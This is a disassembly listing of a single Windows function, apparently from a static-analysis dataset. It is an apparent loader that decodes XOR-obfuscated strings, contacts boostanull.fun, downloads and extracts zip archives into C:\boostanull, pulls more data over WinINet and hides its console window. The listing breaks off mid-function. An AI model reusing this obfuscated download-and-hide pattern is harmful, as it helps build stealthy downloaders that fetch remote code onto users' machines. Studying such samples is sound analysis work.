Function at 0x140056db0
Capabilities:
Check if file exists
Create directory
Create http request
Create process on windows
Delete file
Get file attributes
Read data from internet
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0xcc0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rbp + 0xc40], rax
xor ebx, ebx
call fcn.14004f660
movabs rax, 0x84a1815203e2296d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xaa5f24eccee6b904
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x199e68a3dfa164b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0xc6e0070274c81458
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0xdf66add56206935b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs r14, 0x7c7bd9749d3e8aaa
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs r13, 0xab8ebb2173965d05
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rsi, 0xdf314598bd89d666
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs r15, 0x60b688ff5bd47a27
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
movabs r12, 0xb292667607e77d28
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movabs rax, 0xdf66ddbd1228e729
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
vmovdqu ymm0, ymmword [rbp + 0x500]
vpxor ymm0, ymm0, ymmword [rbp + 0x140]
vmovdqa ymmword [rbp + 0x140], ymm0
vmovdqa xmm1, xmmword [rbp + 0x160]
vxorps xmm1, xmm1, xmmword [rbp + 0x520]
vmovdqa xmmword [rbp + 0x160], xmm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], rbx
lea rax, [rbp + 0x140]
mov rdi, 0xffffffffffffffff
mov r8, rdi
vzeroupper
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140056f80
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x180]
call fcn.14005b400
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x280]
call fcn.14004e8e0
mov rdx, qword [rbp + 0x298]
cmp rdx, 0xf
jbe 0x140056ff3
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056fee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140056fee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c834
movdqa xmm0, xmmword [0x140068a00]
movdqu xmmword [rbp + 0x290], xmm0
mov byte [rbp + 0x280], bl
movabs rax, 0xdffdd44e11ca6746
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xbe5b19f4d1fcb807
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0xaeae69639881b51
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xdefe025870860b49
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rcx, 0xdf66ddbd1228e729
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
vmovdqu ymm0, ymmword [rbp + 0x540]
vpxor ymm0, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x220], ymm0
vmovdqa xmm1, xmmword [rbp + 0x240]
vxorps xmm1, xmm1, xmmword [rbp + 0x560]
vmovdqa xmmword [rbp + 0x240], xmm1
lea rcx, [rbp + 0x220]
vzeroupper
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movabs rax, 0xc6efd54a10ff3323
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xdf314598bd89eb03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov r8d, 0x35
lea rdx, str.https:__boostanull.fun_api_connect.php_actionget_ram
lea rcx, [rbp + 0x60]
call fcn.14005b400
nop
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.140059bd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1400a4410]
lea rcx, [rbp + 0x40]
call fcn.140059bd0
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0x3a0], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3b0], xmm6
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14005725c
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057257
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140057257
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c834
movdqa xmm0, xmmword [0x140068a00]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x1400572ab
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400572a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400572a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c834
movdqa xmm0, xmmword [0x140068a00]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rbx
lea r15, [rbp + 0x3a0]
movq rcx, xmm7
movdqa xmm0, xmm6
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova r15, rcx
movabs rsi, 0x7fffffffffffffff
movq r14, xmm6
cmp r14, rsi
ja 0x140058bef
cmp r14, 0xf
ja 0x140057324
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], 0xf
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0x10], xmm0
jmp 0x1400573b5
mov rax, r14
or rax, 0xf
cmp rax, rsi
jbe 0x140057360
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14005ca28
mov rcx, rax
test rax, rax
je 0x140057484
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14005739a
mov rsi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14005738b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140058bf5
jmp 0x14005733e
test rcx, rcx
je 0x140057397
call fcn.14005ca28
jmp 0x14005739a
mov rax, rbx
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], rsi
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x260]
call fcn.14004e8e0
mov rsi, rax
lea rax, [0x1400a3990]
cmp rax, rsi
je 0x14005744c
mov rdx, qword [0x1400a39a8]
cmp rdx, 0xf
jbe 0x140057411
mov rcx, qword [0x1400a3990]
inc rdx
cmp rdx, 0x1000
jb 0x14005740c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140057484
mov rcx, r8
call fcn.14005c834
movdqa xmm0, xmmword [0x140068a00]
movdqu xmmword [0x1400a39a0], xmm0
mov byte [0x1400a3990], 0
movups xmm0, xmmword [rsi]
movups xmmword [0x1400a3990], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [0x1400a39a0], xmm1
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rdx, qword [rbp + 0x278]
cmp rdx, 0xf
jbe 0x140057490
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005748b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005748b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c834
movdqa xmm0, xmmword [0x140068a00]
movdqu xmmword [rbp + 0x270], xmm0
mov byte [rbp + 0x260], 0
lea rcx, str.C:_boostanulljava
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
movabs rcx, 0xb6a7db728d4e768c
movabs rdx, 0xda51b0cbadf2b9cb
movabs r8, 0xdefc111963c81458
movabs r9, 0xe016b5cd3c4c8646
cmp eax, 0xffffffff
je 0x1400574ec
shr eax, 4
test al, 1
jne 0x1400577c7
movabs rax, 0xdffdd44e11ca6746
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xbe5b19f4d1fcb807
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x60b6f89621fa1b51
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs r14, 0xdf314598bd89d666
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rsi, 0x60b688ff5bd47a27
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
vmovdqu ymm0, ymmword [rbp + 0x7a0]
vpxor ymm0, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm0
movabs rax, 0x84a1815203e2296d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xaa5f24eccee6b904
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x199e68a3dfa164b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xa1ab349f84ef3de
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xda51b0cbadf2b9aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
movabs rax, 0xdf66ddbd1228e729
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs r15, 0x7c7bd9749d3e8aaa
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
vmovdqu ymm0, ymmword [rbp + 0x7c0]
vpxor ymm0, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm0
vmovdqu ymm1, ymmword [rbp + 0x7e0]
vpxor ymm0, ymm1, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0x120], ymm0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x100]
vzeroupper
call fcn.14004e550
test eax, eax
jne 0x1400577e5
mov dword [rbp + 0x304], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
lea rax, [rbp + 0x3c0]
test rax, rax
je 0x1400577ad
lea rdx, str.C:_boostanulljava.zip
lea rcx, [rbp + 0x3c0]
call fcn.14004c840
test eax, eax
je 0x1400577ad
lea r9, [rbp + 0x304]
lea rdx, str.C:_boostanull
lea rcx, [rbp + 0x3c0]
call fcn.14004d4e0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:_boostanulljava.zip
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
jmp 0x1400577e5
movabs rsi, 0x60b688ff5bd47a27
movabs r14, 0xdf314598bd89d666
movabs r15, 0x7c7bd9749d3e8aaa
call fcn.14004f660
lea rcx, str.C:_boostanullclient_1_16_5
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140057807
shr eax, 4
test al, 1
jne 0x140057af9
xor edx, edx
lea rcx, str.C:_boostanullclient_1_16_5
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movabs rax, 0xdffdd44e11ca6746
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xb37219f4d1fcb807
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x10dff2d12fba1f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
vmovdqu ymm0, ymmword [rbp + 0x780]
vpxor ymm0, ymm0, ymmword [rbp + 0xa0]
vmovdqa ymmword [rbp + 0xa0], ymm0
movabs rax, 0x84a1815203e2296d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0xaa5f24eccee6b904
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x199e68a3dfa164b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xdefc111963c81458
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0xe016b5cd3c4c8646
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x1517ba49f84ef3de
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xda51b0cbad86d7ae
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rcx, 0xb6a7db728d4e768c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
movabs rax, 0xdf66ddbd1228e729
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
movabs rax, 0xda51b0cbadf2b9cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x830], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x838], rax
vmovdqu ymm0, ymmword [rbp + 0x800]
vpxor ymm0, ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0xc0], ymm0
vmovdqu ymm1, ymmword [rbp + 0x820]
vpxor ymm0, ymm1, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xe0], ymm0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.14004e550
test eax, eax
jne 0x140057af9
mov dword [rbp + 0x308], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
movups xmmword [rbp + 0x440], xmm0
movups xmmword [rbp + 0x450], xmm0
movups xmmword [rbp + 0x460], xmm0
movups xmmword [rbp + 0x470], xmm0
movups xmmword [rbp + 0x480], xmm0
movups xmmword [rbp + 0x490], xmm0
lea rax, [rbp + 0x430]
test rax, rax
je 0x140057ae1
lea rdx, str.C:_boostanullClient.zip
lea rcx, [rbp + 0x430]
call fcn.14004c840
test eax, eax
je 0x140057ae1
lea r9, [rbp + 0x308]
lea rdx, str.C:_boostanullclient_1_16_5
lea rcx, [rbp + 0x430]
call fcn.14004d4e0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:_boostanullClient.zip
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call fcn.14004f660
mov ecx, 0x4e2
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x330], xmm1
mov qword [rbp + 0x340], rbx
movabs rax, 0x84a1815203e2296d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0xaa5f24eccee6b904
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0x199e68a3dfa164b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0xdefc111963c81458
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0xe016b5cd3c4c8646
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0xe1ab349f84ef3de
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rdx, 0xda51b0cbadf2b9cb
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rcx, 0xb6a7db728d4e768c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
movabs rax, 0xdf66ddbd1228e729
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
vmovdqu ymm0, ymmword [rbp + 0x4a0]
vpxor ymm0, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x360], ymm0
vmovdqu ymm0, ymmword [rbp + 0x380]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x380], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x310], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x320], xmm1
lea rax, [rbp + 0x360]
vzeroupper
inc rdi
cmp byte [rax + rdi], 0
jne 0x140057cb7
mov r8, rdi
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x310]
call fcn.14005b400
nop
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.dana56_BOOSTING
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140057dbe
lea rdx, [rbp + 0x310]
cmp qword [rbp + 0x328], 0xf
cmova rdx, qword [rbp + 0x310]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x140057db5
lea r9, [rbp + 0x300]
mov r8d, 0x400
lea rdx, [rbp + 0x840]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140057dac
nop word [rax + rax]
mov eax, dword [rbp + 0x300]
test eax, eax
je 0x140057e02
mov r9d, eax
lea r8, [rbp + 0x840]
mov rdx, qword [rbp + 0x338]
lea rcx, [rbp + 0x330]
call fcn.14005bf30
lea r9, [rbp + 0x300]
mov r8d, 0x400
lea rdx, [rbp + 0x840]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140057d60
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, 0x80004005
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x140057e1b
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057e16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140057e16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140057dc3
call fcn.14005c834
movdqa xmm0, xmmword [0x140068a00]
movdqu xmmword [rbp + 0x320], xmm0
mov byte [rbp + 0x310], 0
call fcn.14004f660
test ebx, ebx
jne 0x140058b0a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x310]
call fcn.14004e7d0
nop
movabs rax, 0xc5e7d60f07f33325
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
movabs rax, 0xbc1f31fedcfbb503
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
movabs rax, 0x1dba68b35b1134b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
movabs rax, 0x92fc0f174ac91341
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
movabs rax, 0xbe08afd8615dca04
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0x140bb51bf91eefc7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0xb323c5a8c881d7a2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
movabs rax, 0xd2ceac5fa06e0ff8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
movabs rax, 0x49611bec92c43899
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x880], rax
movabs rax, 0xca4648976e167ca3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x888], rax
movabs rax, 0xbaeb83ba5d59c9db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x890], rax
movabs rax, 0x4d7a5a405de28962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
movabs rax, 0xa1a110e5a29627e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
movabs rax, 0xc9f4029df969f1fb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
movabs rax, 0xe15c580e2856573d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b0], rax
movabs rax, 0xd4db106a823d6591
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b8], rax
movabs rax, 0x28bbf92588514377
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c0], rax
movabs rax, 0xbcf6cea47d4c881a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c8], rax
movabs rax, 0xb3083d9e8a914cc3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d0], rax
movabs rax, 0x707be85562b4b798
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d8], rax
movabs rax, 0xcd97f9cd7c73554a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e0], rax
movabs rax, 0x2cd0d250d59d3358
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e8], rax
movabs rax, 0x532d7717419a45b7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f0], rax
movabs rax, 0xa6c20013829814e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f8], rax
movabs rax, 0x80724f6c512b4021
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x900], rax
movabs rax, 0x3ea36953fce28eb3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x908], rax
movabs rax, 0xa0cabae748981691
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x910], rax
movabs rax, 0x23b589ab329c1916
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x918], rax
movabs rax, 0x7879b465200e3b81
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x920], rax
movabs rax, 0xa20792afa9cd4241
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x928], rax
movabs rax, 0x55eb373634b8fac6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x930], rax
movabs rax, 0xf11564f6ff825e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x938], rax
movabs rax, 0x35f949375bd13f97
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x940], rax
movabs rax, 0xd5f152997c4a9fe2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x948], rax
movabs rax, 0x4d82de72f503d176
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x950], rax
movabs rax, 0x67293ca6411e69ad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x958], rax
